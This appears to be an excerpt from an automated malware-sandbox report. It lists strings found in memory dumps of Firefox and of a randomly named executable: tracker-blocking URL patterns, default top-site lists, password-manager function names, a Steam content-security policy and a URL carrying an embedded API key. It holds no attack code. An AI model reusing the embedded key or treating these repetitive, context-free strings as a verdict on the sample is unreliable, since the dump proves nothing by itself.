Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]]{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*:/
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: browsing-context-discardedbrowsing-context-discarded did not match due to targetinghttps://www.aliexpress.com/bound onEnabledPrefChangehttps://www.leboncoin.fr/main/nimbus-desktop-experimentsbrowsing-context-discardedhttps://www.wikipedia.org/https://www.facebook.com/Could not find branch slug getAllLoginsWithCallback/<PWMGR_NUM_HTTPAUTH_PASSWORDSrecordBreachAlertDismissalisPotentiallyVulnerablePassword#encryptLogins/plaintexts<modifyLogin/matchingLogin<PWMGR_LOGIN_LAST_USED_DAYS#decryptLogins/ciphertexts<Couldn't decrypt strings: DEFAULT_REPLACEMENT_CHARACTERPWMGR_NUM_PASSWORDS_PER_HOSTNAMEdismissedBreachAlertsByLoginGUIDaddLoginsAsync/matchingLogin<removeAllUserFacingLoginsEnabling login saving for @mozilla.org/security/sdr;1passwordmgr-crypto-loginCanceledspecified GUID already existsCould not decrypt login: Removing all user facing logins.loginLastUsedDaysHistogrampotentiallyVulnerablePasswordsaddPotentiallyVulnerablePasswordLoginStore.prototype._saveensureCurrentSyncID: newSyncID: google@search.mozilla.org__MSG_extensionDescription____MSG_searchUrlGetParams__potentiallyVulnerablePasswordweave:telemetry:histogramlogin values can't contain nulls equals www.facebook.com (Facebook)
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2862333210.0000014D5D4E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2861316139.0000014D5D3E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.wikipedia.org/https://www.facebook.com/Could not find branch slug getAllLoginsWithCallback/<PWMGR_NUM_HTTPAUTH_PASSWORDSrecordBreachAlertDismissalisPotentiallyVulnerablePassword#encryptLogins/plaintexts<modifyLogin/matchingLogin<PWMGR_LOGIN_LAST_USED_DAYS#decryptLogins/ciphertexts<Couldn't decrypt strings: DEFAULT_REPLACEMENT_CHARACTERPWMGR_NUM_PASSWORDS_PER_HOSTNAMEdismissedBreachAlertsByLoginGUIDaddLoginsAsync/matchingLogin<removeAllUserFacingLoginsEnabling login saving for @mozilla.org/security/sdr;1passwordmgr-crypto-loginCanceledspecified GUID already existsCould not decrypt login: Removing all user facing logins.loginLastUsedDaysHistogrampotentiallyVulnerablePasswordsaddPotentiallyVulnerablePasswordLoginStore.prototype._saveensureCurrentSyncID: newSyncID: google@search.mozilla.org__MSG_extensionDescription____MSG_searchUrlGetParams__potentiallyVulnerablePasswordweave:telemetry:histogramlogin values can't contain nulls equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["*://login.microsoftonline.com/*", "*://login.microsoftonline.us/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["*://login.microsoftonline.com/*", "*://login.microsoftonline.us/*"], windowId:null}, ["blocking"]] equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["*://login.microsoftonline.com/*", "*://login.microsoftonline.us/*"], windowId:null}, ["blocking"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
